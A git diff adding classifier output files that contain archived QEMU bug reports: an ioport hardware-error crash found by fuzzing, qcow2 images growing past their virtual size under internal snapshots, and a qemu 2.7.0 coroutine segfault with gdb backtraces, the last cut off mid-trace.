+http://lists.nongnu.org/mailman/listinfo/qemu-devel + +Did this change get submitted? Is it still an issue? + +On Sun, May 22, 2011 at 1:43 PM, Brad Hards <email address hidden> wrote: +> Did this change get submitted? Is it still an issue? + +At least the patch hasn't been applied. I don't remember seeing it in the list. + + +Is this issue still reproducible with the latest version of QEMU, or could we close this issue nowadays? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/issue./994662 b/results/classifier/deepseek-1/output/issue./994662 new file mode 100644 index 00000000..e3831a49 --- /dev/null +++ b/results/classifier/deepseek-1/output/issue./994662 @@ -0,0 +1,165 @@ + +QEMU crashes on ioport access + +While running a fuzzer inside the guest, QEMU crashed with the following message and dumped the state of all vcpus: + + +qemu: hardware error: register_ioport_read: invalid opaque for address 0x0Al +CPU #0: +RAX=ffff880007a73000 RBX=ffff8800095b6000 RCX=ffff880007a33530 RDX=ffff880007a33530 +RSI=0000000000aa6000 RDI=0000000000aa6000 RBP=ffff880007c13c68 RSP=ffff880007c13c48 +R8 =0000000000000000 R9 =0000000000000000 R10=0000000000000000 R11=0000000000000001 +R12=0000000000aa6000 R13=8000000033556045 R14=0000000000aa6000 R15=ffff8800095b6000 +RIP=ffffffff8108ae02 RFL=00000282 [--S----] CPL=0 II=0 A20=1 SMM=0 HLT=0 +ES =0000 0000000000000000 ffffffff 00000000 +CS =0010 0000000000000000 ffffffff 00a09b00 DPL=0 CS64 [-RA] +SS =0018 0000000000000000 ffffffff 00c09300 DPL=0 DS [-WA] +DS =0000 0000000000000000 ffffffff 00000000 +FS =0000 00007f7de18e8700 ffffffff 00000000 +GS =0000 ffff88000d800000 ffffffff 00000000 +LDT=0000 0000000000000000 ffffffff 00000000 +TR =0040 ffff88000d9d2540 00002087 00008b00 DPL=0 TSS64-busy +GDT= ffff88000d804000 0000007f +IDT= ffffffff8436d000 00000fff +CR0=8005003b CR2=00007f2f25752e9c CR3=0000000007a3d000 CR4=000407f0 +DR0=0000000000000000 DR1=0000000000000000 DR2=0000000000000000 DR3=0000000000000000 +DR6=00000000ffff0ff0 DR7=0000000000000400 +EFER=0000000000000d01 +FCW=037f FSW=0000 [ST=0] FTW=00 MXCSR=00001f80 +FPR0=0000000000000000 0000 FPR1=0000000000000000 0000 +FPR2=0000000000000000 0000 FPR3=0000000000000000 0000 +FPR4=0000000000000000 0000 FPR5=0000000000000000 0000 +FPR6=0000000000000000 0000 FPR7=0000000000000000 0000 +XMM00=0000000000ff0000000000ff00000000 XMM01=25252525252525252525252525252525 +XMM02=00000000000000000000000000000000 XMM03=ffff0000000000000000000000000000 +XMM04=00000000000000000000000000000000 XMM05=00000000000000000000000000000000 +XMM06=00000000000000000000000000000000 XMM07=00000000000000000000000000000000 +XMM08=00000000000000000000000000000000 XMM09=00000000000000000000000000000000 +XMM10=00000000000000000000000000000000 XMM11=00000000000000000000000000000000 +XMM12=00000000000000000000000000000000 XMM13=00000000000000000000000000000000 +XMM14=00000000000000000000000000000000 XMM15=00000000000000000000000000000000 +CPU #1: +RAX=ffff88001b588000 RBX=ffffea00004ab300 RCX=ffffc90000304000 RDX=0000000000000005 +RSI=ffffc90000304000 RDI=0050000000380028 RBP=ffff880012681c38 RSP=ffff880012681c28 +R8 =0000000000000000 R9 =0000000000000000 R10=0000000000000000 R11=0000000000000002 +R12=0000000000000004 R13=ffff88001bfd3000 R14=0000000000fef000 R15=ffff88000ed51000 +RIP=ffffffff811daf87 RFL=00000006 [-----P-] CPL=0 II=0 A20=1 SMM=0 HLT=0 +ES =0000 0000000000000000 ffffffff 00000000 +CS =0010 0000000000000000 ffffffff 00a09b00 DPL=0 CS64 [-RA] +SS =0018 0000000000000000 ffffffff 00c09300 DPL=0 DS [-WA] +DS =0000 0000000000000000 ffffffff 00000000 +FS =0000 00007fe38bb99700 ffffffff 00000000 +GS =0000 ffff88001b800000 ffffffff 00000000 +LDT=0000 0000000000000000 ffffffff 00000000 +TR =0040 ffff88001b9d2540 00002087 00008b00 DPL=0 TSS64-busy +GDT= ffff88001b804000 0000007f +IDT= ffffffff8436d000 00000fff +CR0=8005003b CR2=00007f2f25ac4518 CR3=000000001173e000 CR4=000407e0 +DR0=0000000000000000 DR1=0000000000000000 DR2=0000000000000000 DR3=0000000000000000 +DR6=00000000ffff0ff0 DR7=0000000000000400 +EFER=0000000000000d01 +FCW=037f FSW=0000 [ST=0] FTW=00 MXCSR=00001f80 +FPR0=0000000000000000 0000 FPR1=0000000000000000 0000 +FPR2=0000000000000000 0000 FPR3=0000000000000000 0000 +FPR4=0000000000000000 0000 FPR5=0000000000000000 0000 +FPR6=0000000000000000 0000 FPR7=0000000000000000 0000 +XMM00=0000000000000000ff0000ff000000ff XMM01=25252525252525252525252525252525 +XMM02=00000000000000000000000000000000 XMM03=0000ff000000ff0000000000ff000000 +XMM04=00000000000000000000000000000000 XMM05=00000000000000000000000000000000 +XMM06=00000000000000000000000000000000 XMM07=00000000000000000000000000000000 +XMM08=00000000000000000000000000000000 XMM09=00000000000000000000000000000000 +XMM10=00000000000000000000000000000000 XMM11=00000000000000000000000000000000 +XMM12=00000000000000000000000000000000 XMM13=00000000000000000000000000000000 +XMM14=00000000000000000000000000000000 XMM15=00000000000000000000000000000000 +CPU #2: +RAX=000000000000001d RBX=0000000000000080 RCX=0000000000000080 RDX=0000000000000cfc +RSI=0000000000000000 RDI=0000000000000086 RBP=ffff8800121f7de8 RSP=ffff8800121f7db8 +R8 =0000000000000004 R9 =000000000000001d R10=0000000000000000 R11=0000000000000002 +R12=ffff88001b7b0000 R13=000000000000001d R14=0000000000000084 R15=ffff88003523ad00 +RIP=ffffffff82870591 RFL=00000046 [---Z-P-] CPL=0 II=0 A20=1 SMM=0 HLT=0 +ES =0000 0000000000000000 ffffffff 00000000 +CS =0010 0000000000000000 ffffffff 00a09b00 DPL=0 CS64 [-RA] +SS =0018 0000000000000000 ffffffff 00c09300 DPL=0 DS [-WA] +DS =0000 0000000000000000 ffffffff 00000000 +FS =0000 00007f2f25ce7700 ffffffff 00000000 +GS =0000 ffff880029800000 ffffffff 00000000 +LDT=0000 0000000000000000 ffffffff 00000000 +TR =0040 ffff8800299d2540 00002087 00008b00 DPL=0 TSS64-busy +GDT= ffff880029804000 0000007f +IDT= ffffffff8436d000 00000fff +CR0=80050033 CR2=00007f2f25750003 CR3=0000000011b88000 CR4=000407e0 +DR0=0000000000000000 DR1=0000000000000000 DR2=0000000000000000 DR3=0000000000000000 +DR6=00000000ffff0ff0 DR7=0000000000000400 +EFER=0000000000000d01 +FCW=037f FSW=0000 [ST=0] FTW=00 MXCSR=00001f80 +FPR0=0000000000000000 0000 FPR1=0000000000000000 0000 +FPR2=0000000000000000 0000 FPR3=0000000000000000 0000 +FPR4=0000000000000000 0000 FPR5=0000000000000000 0000 +FPR6=0000000000000000 0000 FPR7=0000000000000000 0000 +XMM00=0000000000000000ff0000ff000000ff XMM01=25252525252525252525252525252525 +XMM02=00000000000000000000000000000000 XMM03=0000ff000000ff0000000000ff000000 +XMM04=00000000000000000000000000000000 XMM05=00000000000000000000000000000000 +XMM06=00000000000000000000000000000000 XMM07=00000000000000000000000000000000 +XMM08=00000000000000000000000000000000 XMM09=00000000000000000000000000000000 +XMM10=00000000000000000000000000000000 XMM11=00000000000000000000000000000000 +XMM12=00000000000000000000000000000000 XMM13=00000000000000000000000000000000 +XMM14=00000000000000000000000000000000 XMM15=00000000000000000000000000000000 +CPU #3: +RAX=0000000000000086 RBX=0000000000000086 RCX=0000000000000001 RDX=ffff88001afb3000 +RSI=0000000000000001 RDI=ffffffff810f1904 RBP=ffff88001afb9c50 RSP=ffff88001afb9c38 +R8 =0000000000000000 R9 =0000000000000001 R10=0000000000000000 R11=0000000000000001 +R12=ffff88001afb38e0 R13=0000000000000001 R14=ffffffff82d967a8 R15=ffffffff82d967a8 +RIP=ffffffff811171ee RFL=00000002 [-------] CPL=0 II=0 A20=1 SMM=0 HLT=0 +ES =0000 0000000000000000 ffffffff 00000000 +CS =0010 0000000000000000 ffffffff 00a09b00 DPL=0 CS64 [-RA] +SS =0018 0000000000000000 ffffffff 00c09300 DPL=0 DS [-WA] +DS =0000 0000000000000000 ffffffff 00000000 +FS =0000 0000000000000000 ffffffff 00000000 +GS =0000 ffff880035a00000 ffffffff 00000000 +LDT=0000 0000000000000000 ffffffff 00000000 +TR =0040 ffff880035bd2540 00002087 00008b00 DPL=0 TSS64-busy +GDT= ffff880035a04000 0000007f +IDT= ffffffff8436d000 00000fff +CR0=8005003b CR2=0000000000af7130 CR3=000000002cffb000 CR4=000407e0 +DR0=0000000000000000 DR1=0000000000000000 DR2=0000000000000000 DR3=0000000000000000 +DR6=00000000ffff0ff0 DR7=0000000000000400 +EFER=0000000000000d01 +FCW=037f FSW=0000 [ST=0] FTW=00 MXCSR=00001f80 +FPR0=0000000000000000 0000 FPR1=0000000000000000 0000 +FPR2=0000000000000000 0000 FPR3=0000000000000000 0000 +FPR4=0000000000000000 0000 FPR5=0000000000000000 0000 +FPR6=0000000000000000 0000 FPR7=0000000000000000 0000 +XMM00=0000000000000000ff0000ff000000ff XMM01=25252525252525252525252525252525 +XMM02=00000000000000000000000000000000 XMM03=0000ff000000ff0000000000ff000000 +XMM04=00000000000000000000000000000000 XMM05=00000000000000000000000000000000 +XMM06=00000000000000000000000000000000 XMM07=00000000000000000000000000000000 +XMM08=00000000000000000000000000000000 XMM09=00000000000000000000000000000000 +XMM10=00000000000000000000000000000000 XMM11=00000000000000000000000000000000 +XMM12=00000000000000000000000000000000 XMM13=00000000000000000000000000000000 +XMM14=00000000000000000000000000000000 XMM15=00000000000000000000000000000000 + +And this is the trace: + +Thread 5 (Thread 0x7fffee7b8700 (LWP 1754)): +#0 0x00007ffff40d3ad5 in *__GI_raise (sig=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:64 +#1 0x00007ffff40d4f56 in *__GI_abort () at abort.c:93 +#2 0x000055555572a0fa in hw_error (fmt=<optimized out>) at /home/sasha/work/src/qemu-kvm/cpus.c:357 +#3 0x0000555555750265 in register_ioport_read (start=<optimized out>, length=<optimized out>, size=<optimized out>, + func=<optimized out>, opaque=<optimized out>) at /home/sasha/work/src/qemu-kvm/ioport.c:154 +#4 0x0000555555750364 in ioport_register (ioport=0x5555565401b8) at /home/sasha/work/src/qemu-kvm/ioport.c:240 +#5 0x000055555575e910 in access_with_adjusted_size (addr=0, value=0x7fffee7b7db8, size=4, access_size_min=<optimized out>, + access_size_max=<optimized out>, access=0x55555575e830 <memory_region_write_accessor>, opaque=0x5555564c1eb0) + at /home/sasha/work/src/qemu-kvm/memory.c:359 +#6 0x0000555555760212 in memory_region_iorange_write (iorange=<optimized out>, offset=0, width=4, data=29) + at /home/sasha/work/src/qemu-kvm/memory.c:436 +#7 0x000055555575375d in kvm_handle_io (count=1, size=4, direction=1025, data=<optimized out>, port=3324) + at /home/sasha/work/src/qemu-kvm/kvm-all.c:1132 +#8 kvm_cpu_exec (env=0x55555648b810) at /home/sasha/work/src/qemu-kvm/kvm-all.c:1274 +#9 0x0000555555729781 in qemu_kvm_cpu_thread_fn (arg=0x55555648b810) at /home/sasha/work/src/qemu-kvm/cpus.c:733 +#10 0x00007ffff647ad0c in start_thread (arg=0x7fffee7b8700) at pthread_create.c:301 +#11 0x00007ffff417af1d in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:115 + +Has this issue been fixed or can it still be reproduced with the latest version of QEMU? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/issues./1025244 b/results/classifier/deepseek-1/output/issues./1025244 new file mode 100644 index 00000000..5b1a11a1 --- /dev/null +++ b/results/classifier/deepseek-1/output/issues./1025244 @@ -0,0 +1,339 @@ + +qcow2 image increasing disk size above the virtual limit + +Using qemu/kvm, qcow2 images, ext4 file systems on both guest and host + Host and Guest: Ubuntu server 12.04 64bit +To create an image I did this: + +qemu-img create -f qcow2 -o preallocation=metadata ubuntu-pdc-vda.img 10737418240 (not sure about the exact bytes, but around this) +ls -l ubuntu-pdc-vda.img +fallocate -l theSizeInBytesFromAbove ubuntu-pdc-vda.img + +The problem is that the image is growing progressively and has obviously no limit, although I gave it one. The root filesystem's image is the same case: + +qemu-img info ubuntu-pdc-vda.img + image: ubuntu-pdc-vda.img + file format: qcow2 + virtual size: 10G (10737418240 bytes) + disk size: 14G + cluster_size: 65536 + +and for confirmation: + du -sh ubuntu-pdc-vda.img + 15G ubuntu-pdc-vda.img + +I made a test and saw that when I delete something from the guest, the real size of the image is not decreasing (I read it is normal). OK, but when I write something again, it doesn't use the freed space, but instead grows the image. So for example: + 1. The initial physical size of the image is 1GB. + 2. I copy 1GB of data in the guest. It's physical size becomes 2GB. + 3. I delete this data (1GB). The physical size of the image remains 2GB. + 4. I copy another 1GB of data to the guest. + 5. The physical size of the image becomes 3GB. + 6. And so on with no limit. It doesn't care if the virtual size is less. + +Is this normal - the real/physical size of the image to be larger than the virtual limit??? + +Thanks for filing this bug, Todor. I'll try figure out whether this is still the case in the upstream git HEAD. + +I started playing with this by just doing: + + qemu-img create -f qcow2 x.img 2G + (boot a vm from a cdrom/iso into rescue mode with x.img as a drive, and there do): + dd if=/dev/zero of=/mnt/zero1 bs=1M count=1000 +and then + cp /mnt/zero1 /mnt/zero2 + rm /mnt/zero2 + cp /mnt/zero1 /mnt/zero3 + (etc) + +Here the volume doesn't exceed it's allocation (which was 2G). + +I created snapshots but still did not exceed 2G. + +When I started adding more real data (booted from an installed server virtual disk, but I don't believe that made a difference) as well as creating snapshots, I worked up to a 3.2G real disk. + +In the disk you showed in the bug description, had you created any snapshots? + + +Yes, I have created one snapshot and did fallocate in the beginning. The other image, which I have problems with, also has snapshots. + +First going back to the original bug, in that instance you kept around many snapshots. In that case there is no way to avoid having many snapshots of, say, a 2G disk, taking much more space than 2G. + +The thing that concerned me in this bug was that disk space was never reclaimed. + +I don't believe that this is the case when no snapshots are used. If you create a new qcow2 image with 2G size, then that image will not exceed 2G on disk. + +Once you introduce snapshots, this appears to complicate the bookkeeping such that automatic resizing of the disk image is not done. The data *is* reference counted however, This means that you can create a new, trimmed qcow2 image based on the original by doing + +qemu-img convert -f qcow2 -O qcow2 original.qcow2 new.qcow2 + +As I don't believe the automatic freeing of disk space was ever implemented, I am going to mark this bug Triaged/Low, to mark it as a desirable feature. I'll also mark it as affecting the upstream project. + + +I did some testing with a WindowsXP guest, that I have and could test on. +It seems that this behavior is not present at the beginning. But at the moment we create a snapshot it is starting to write on top of the current size. So, it is like this: + 1. Image is: + +Code: +qemu-img info WindowsXP.img +image: WindowsXP.img +file format: qcow2 +virtual size: 15G (15728640000 bytes) +disk size: 13G +cluster_size: 65536 + +I write some files and it doesn't become more than that. + + 2. I delete some files, then write again and it doesn't changes size. + 3. I create a snapshot: + +Code: +qemu-img info WindowsXP.img +image: WindowsXP.img +file format: qcow2 +virtual size: 15G (15728640000 bytes) +disk size: 13G +cluster_size: 65536 +Snapshot list: +ID TAG VM SIZE DATE VM CLOCK +1 test 0 2012-07-17 09:52:25 00:00:00.000 + +4. I write something with a size of 587MB and it becomes larger (with 587MB) + +Code: +du -sm WindowsXP.img +14102 WindowsXP.img + +5. I delete it and then write it again. It becomes more larger... (again with another 587MB) + +Code: +du -sm WindowsXP.img +14703 WindowsXP.img + +6. I delete it and then write it again. It doesn't change this time. + +7. I write a copy of it. It becomes larger (with 587MB) + +Code: +du -sm WindowsXP.img +15309 WindowsXP.img + +8. I delete it and then write it again. It doesn't change this time. + +9. I write a copy of it. It becomes larger again (with 587MB) + +Code: +du -sm WindowsXP.img +16010 WindowsXP.img + +10. I write another copy of it and it stays the same. + +Code: +du -sm WindowsXP.img +16010 WindowsXP.img + +11. I write another copy of it and becomes larger again. + +Code: +du -sm WindowsXP.img +16913 WindowsXP.img + +Code: +qemu-img info WindowsXP.img +image: WindowsXP.img +file format: qcow2 +virtual size: 15G (15728640000 bytes) +disk size: 17G +cluster_size: 65536 +Snapshot list: +ID TAG VM SIZE DATE VM CLOCK +1 test 0 2012-07-17 09:52:25 00:00:00.000 + +12. Create a snapshot. +13. I write a copy of it. It becomes larger again (with 587MB) + +Code: +du -sm WindowsXP.img +17572 WindowsXP.img + +14. I delete both of the snapshots. +15. I delete the file (in guest with the size of 587MB) and write it again. No change in size. +16. I delete the file again and write it again. No change in size. +17. Create a snapshot. +18. I delete the file again and write it again. No change in size. +19. Delete the file. +20. Create a snapshot. +21. Write the file again. No change in size. + + + Well from all this, I can conclude that most probably: + 1. The problem occurs only when there is an internal snapshot present. + 2. The problem is not "by design" because the behavior is not consistent (for example, 13. and 21. should be with the same result, but they arent't).. + + +At the end of the day, after these procedures (4 creations of snapshots, 2 deletions and some writing and deleting of internal guest files) the result is this: + +Code: +qemu-img info WindowsXP.img +image: WindowsXP.img +file format: qcow2 +virtual size: 15G (15728640000 bytes) +disk size: 17G +cluster_size: 65536 +Snapshot list: +ID TAG VM SIZE DATE VM CLOCK +1 test2 0 2012-07-17 14:55:17 00:00:00.000 +2 test3 0 2012-07-17 15:27:43 00:00:00.000 + +and + +Code: +ls -lsh WindowsXP.img +18G -rw------- 1 libvirt-qemu kvm 18G Jul 17 15:43 WindowsXP.img + +May be here will be more convenient for reading: +http://www.linuxquestions.org/questions/linux-virtualization-90/disk-physical-size-more-than-virtual-size-qcow2-image-4175416848/#post4730524 + +@Serge, thank you for answering. +Well, I think this is not entirely true. I think that from my above post, 13. and 20. should be with the same results, if it were true. The truth is that when a snapshot is present, sometimes it uses the available space, sometimes it doesn't. (!???) +I think there is something wrong here and everyone should be able to confirm it, because I did it on 2 different hosts, with 2 different guest images. +Apart from this, I now understand that when I use internal snapshots, the size will be larger (it is logical). + +Also (apart from my different 13. and 20. results, pointing that there is something wrong), I think that this is a HIGH priority, because the problem is with an image of almost 2TB. So, what people should buy another 2TB, so that they could convert the image somewhere? I don't think this is reasonable. + +I'm sorry, I meant 21. not 20. + +@Todor, + +Thanks, you might be right. It sounds like it's not a missing feature but a bug. I'll re-raise the priority. + +Any solution right now? I have a similar problem like Todor Andreev; +Our daily backup of some virtual machines (qcow2) looks like that: + +1. shutdown the VM +2. create a snapshot via: "qemu-img snapshot -c nameofsnapshot..." +3. boot the VM +4. backup the snapshot to another virtual disk via: "qemu-img convert -f qcow2 -O qcow2 -s nameofsnapshot..." +5. DELETE the snapshot from VM via: qemu-img snapshot -d nameofsnapshot... + +But the problem is, that our original VM-size growing steadily (although few changes were made) ?! + +I don't know of any qcow2-based workaround. + +Is anyone actively working on fixing the qcow2 code? In particular, the fact that after removing snapshots, un-used blocks are not reclaimed and disk size is never reduced? + +One possible workaround (the one I would use) would be to use lvm-based snapshotting instead. + +On Tue, Dec 18, 2012 at 10:18:20AM -0000, Andy Menzel wrote: +> Any solution right now? I have a similar problem like Todor Andreev; +> Our daily backup of some virtual machines (qcow2) looks like that: +> +> 1. shutdown the VM +> 2. create a snapshot via: "qemu-img snapshot -c nameofsnapshot..." +> 3. boot the VM +> 4. backup the snapshot to another virtual disk via: "qemu-img convert -f qcow2 -O qcow2 -s nameofsnapshot..." +> 5. DELETE the snapshot from VM via: qemu-img snapshot -d nameofsnapshot... + +It's not safe to modify the qcow2 file while the guest is running. This +means Step 5 is not really safe and could result in an inconsistent +image. + +This may also be causing the problem: the QEMU process has a variable +with the next free cluster index. Since Step 5 runs as a separate +process it does not update the QEMU process' next free cluster index +variable. QEMU doesn't know that there are now free clusters within the +image file because you updated the file behind QEMU's back - the result +is that it grows the file. + +Please try deleting the last backup snapshot between Step 1 and Step 2. +This way you'll free the space while QEMU isn't accessing the image +file. When you boot up the image file again QEMU should reuse the freed +clusters. + +Stefan + + +On 01/02/2013 08:50 AM, Stefan Hajnoczi wrote: +> On Tue, Dec 18, 2012 at 10:18:20AM -0000, Andy Menzel wrote: +>> Any solution right now? I have a similar problem like Todor Andreev; +>> Our daily backup of some virtual machines (qcow2) looks like that: +>> +>> 1. shutdown the VM +>> 2. create a snapshot via: "qemu-img snapshot -c nameofsnapshot..." +>> 3. boot the VM +>> 4. backup the snapshot to another virtual disk via: "qemu-img convert -f qcow2 -O qcow2 -s nameofsnapshot..." +>> 5. DELETE the snapshot from VM via: qemu-img snapshot -d nameofsnapshot... +> +> It's not safe to modify the qcow2 file while the guest is running. This +> means Step 5 is not really safe and could result in an inconsistent +> image. +> +> This may also be causing the problem: the QEMU process has a variable +> with the next free cluster index. Since Step 5 runs as a separate +> process it does not update the QEMU process' next free cluster index +> variable. QEMU doesn't know that there are now free clusters within the +> image file because you updated the file behind QEMU's back - the result +> is that it grows the file. +> +> Please try deleting the last backup snapshot between Step 1 and Step 2. +> This way you'll free the space while QEMU isn't accessing the image +> file. When you boot up the image file again QEMU should reuse the freed +> clusters. + +You might also want to try modifying step 5 to use the HMP delvm monitor +command from within the running qemu rather than going behind qemu's +back with a qemu-img invocation. That's how libvirt deletes internal +snapshots from a running qemu. + +Also, there are patches currently under review that are talking about +creating a QMP counterpart to the delvm monitor command. + +-- +Eric Blake eblake redhat com +1-919-301-3266 +Libvirt virtualization library http://libvirt.org + + + +Thanks for your advices. I have no more problems with VM-size since deleting snapshot in shutdown-mode. I reduced the overlarge qcow2-images by converting in qcow2 again (that detects unused sectors and omits this). + +Is anyone even looking at this? been years and the problem still persists! + +Looking at what? At the lack of problems as comment #14 says? + +Changing priority given workarounds. + +@michael, so you do that once, after some time the machine keeps growing, and growing and growing... and you have to redo that every so often... I have a machine that should be taking up 30 gb yet is taking 600+ GB with 4 snapshots... but yeah... I'll just plug in another 1tb hard drive so that i can free up the space only for it to happen again in a near future... Seems a great workaround! + +For the record, the workaround is deleting old snapshots in shutdown mode +as per comment #14. + +Upstream has moved toward external snapshots as the way forward, so while +I don't argue that this is a bug, it seems unlikely to receive a fix from +upstream. + + +@Mario, in theory an image "that should be taking up 30 GB" with four snapshots should be taking up at most about 150 GB, of course. Now the question is what you mean by "should be taking up 30 GB" and by "is taking 600+ GB". + +For the latter, did you query the file length (ls -l) or the actual size (qemu-img info, "disk size")? + +For the former, if you have a virtual disk size of 1 TB and the guest reports 30 GB are used, that doesn't mean that qemu knows that only 30 GB are used. If you delete a file in the guest, it will report less space being used; however, qemu doesn't know about that unless the guest bothers to discard the now unused sectors. If it doesn't (and I don't see a reason why a guest should discard sectors on an HDD), the guest will just remove the file metadata but the data will stay there (and may be overwritten later by the guest when creating new files etc.). qemu has no idea that that data is now unused, therefore it must treat those sectors as being in use. + +If your image indeed has a virtual disk size of 30 GB, has four snapshots, is clean (qemu-img check) and does take up 600+ GB of actual disk space, that should indeed not be happening (unless there's some case I forgot to consider). + +@serge, what version would I need to upgrade to be able to use the external snapshots? that sounds like it would solve my problems + +@Mario, + +the external snapshots have apparently been around a long time. The +ability to create external snapshots from running vms is newer, but +it appears to exist evn in qemu-kvm 1.0. So all versions in Debian +and Ubuntu should support them. + +http://wiki.qemu.org/Features/Snapshots#Snapshot_command_flow + + +Looking through old bug tickets... is there anything left to do here? Or should we rather close this ticket nowadays? + +[Expired for qemu-kvm (Ubuntu) because there has been no activity for 60 days.] + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/issues./1671876 b/results/classifier/deepseek-1/output/issues./1671876 new file mode 100644 index 00000000..181d416e --- /dev/null +++ b/results/classifier/deepseek-1/output/issues./1671876 @@ -0,0 +1,183 @@ + +qemu 2.7.0 segfaults in qemu_co_queue_run_restart() + +I've been experiencing frequent segfaults lately with qemu 2.7.0 running Ubuntu 16.04 guests. The crash usually happens in qemu_co_queue_run_restart(). I haven't seen this so far with any other guests or distros. + +Here is one back trace I obtained from one of the crashing VMs. + +------------------------------------------------------------------------------------------------- +(gdb) bt +#0 qemu_co_queue_run_restart (co=0x7fba8ff05aa0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:59 +#1 0x000055c1656f39a9 in qemu_coroutine_enter (co=0x7fba8ff05aa0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#2 0x000055c1656f3e74 in qemu_co_queue_run_restart (co=0x7fba8dd20430) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#3 0x000055c1656f39a9 in qemu_coroutine_enter (co=0x7fba8dd20430) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#4 0x000055c1656f3e74 in qemu_co_queue_run_restart (co=0x7fba8dd14ea0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#5 0x000055c1656f39a9 in qemu_coroutine_enter (co=0x7fba8dd14ea0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#6 0x000055c1656f3e74 in qemu_co_queue_run_restart (co=0x7fba80c11dc0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#7 0x000055c1656f39a9 in qemu_coroutine_enter (co=0x7fba80c11dc0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#8 0x000055c1656f3e74 in qemu_co_queue_run_restart (co=0x7fba8dd0bd70) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#9 0x000055c1656f39a9 in qemu_coroutine_enter (co=0x7fba8dd0bd70) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#10 0x000055c1656f3fa0 in qemu_co_enter_next (queue=queue@entry=0x55c1669e75e0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:106 +#11 0x000055c165692060 in timer_cb (blk=0x55c1669e7590, is_write=<optimized out>) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/block/throttle-groups.c:400 +#12 0x000055c16564f615 in timerlist_run_timers (timer_list=0x55c166a53e80) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/qemu-timer.c:528 +#13 0x000055c16564f679 in timerlistgroup_run_timers (tlg=tlg@entry=0x55c167c81cf8) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/qemu-timer.c:564 +#14 0x000055c16564ff47 in aio_dispatch (ctx=ctx@entry=0x55c167c81bb0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/aio-posix.c:357 +#15 0x000055c1656500e8 in aio_poll (ctx=0x55c167c81bb0, blocking=<optimized out>) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/aio-posix.c:479 +#16 0x000055c1654b1c79 in iothread_run (opaque=0x55c167c81960) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/iothread.c:46 +#17 0x00007fbc4b64f0a4 in allocate_stack (stack=<synthetic pointer>, pdp=<synthetic pointer>, attr=0x0) at allocatestack.c:416 +#18 __pthread_create_2_1 (newthread=<error reading variable: Cannot access memory at address 0xffffffffffffff48>, attr=<error reading variable: Cannot access memory at address 0xffffffffffffff40>, + start_routine=<error reading variable: Cannot access memory at address 0xffffffffffffff58>, arg=<error reading variable: Cannot access memory at address 0xffffffffffffff50>) at pthread_create.c:539 +Backtrace stopped: Cannot access memory at address 0x8 +------------------------------------------------------------------------------------------------- + +The code that crashes is this +------------------------------------------------------------------------------------------------- +void qemu_co_queue_run_restart(Coroutine *co) +{ + Coroutine *next; + + trace_qemu_co_queue_run_restart(co); + while ((next = QSIMPLEQ_FIRST(&co->co_queue_wakeup))) { + QSIMPLEQ_REMOVE_HEAD(&co->co_queue_wakeup, co_queue_next); <--- Crash occurs here this time + qemu_coroutine_enter(next); + } +} +------------------------------------------------------------------------------------------------- + +Expanding the macro QSIMPLEQ_REMOVE_HEAD gives us +------------------------------------------------------------------------------------------------- +#define QSIMPLEQ_REMOVE_HEAD(head, field) do { \ + if (((head)->sqh_first = (head)->sqh_first->field.sqe_next) == NULL)\ + (head)->sqh_last = &(head)->sqh_first; \ +} while (/*CONSTCOND*/0) +------------------------------------------------------------------------------------------------- + +which corrsponds to +------------------------------------------------------------------------------------------------- +if (((&co->co_queue_wakeup)->sqh_first = (&co->co_queue_wakeup)->sqh_first->co_queue_next.sqe_next) == NULL)\ + (&co->co_queue_wakeup)->sqh_last = &(&co->co_queue_wakeup)->sqh_first; +------------------------------------------------------------------------------------------------- + +Debugging the list we see +------------------------------------------------------------------------------------------------- +(gdb) print *(&co->co_queue_wakeup->sqh_first) +$6 = (struct Coroutine *) 0x1000 +(gdb) print *(&co->co_queue_wakeup->sqh_first->co_queue_next) +Cannot access memory at address 0x1030 +------------------------------------------------------------------------------------------------- + +So the data in co->co_queue_wakeup->sqh_first is corrupted and represents an invalid address. Any idea why is that? + +Another stack trace + +--------------------------------------------------------------------- +(gdb) bt +#0 qemu_co_queue_run_restart (co=0x7f668be15260) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:59 +#1 0x0000564cb19f59a9 in qemu_coroutine_enter (co=0x7f668be15260) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#2 0x0000564cb19f5fa0 in qemu_co_enter_next (queue=queue@entry=0x564cb35e55e0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:106 +#3 0x0000564cb1994060 in timer_cb (blk=0x564cb35e5590, is_write=<optimized out>) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/block/throttle-groups.c:400 +#4 0x0000564cb1951615 in timerlist_run_timers (timer_list=0x564cb3651e80) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/qemu-timer.c:528 +#5 0x0000564cb1951679 in timerlistgroup_run_timers (tlg=tlg@entry=0x564cb487fcf8) 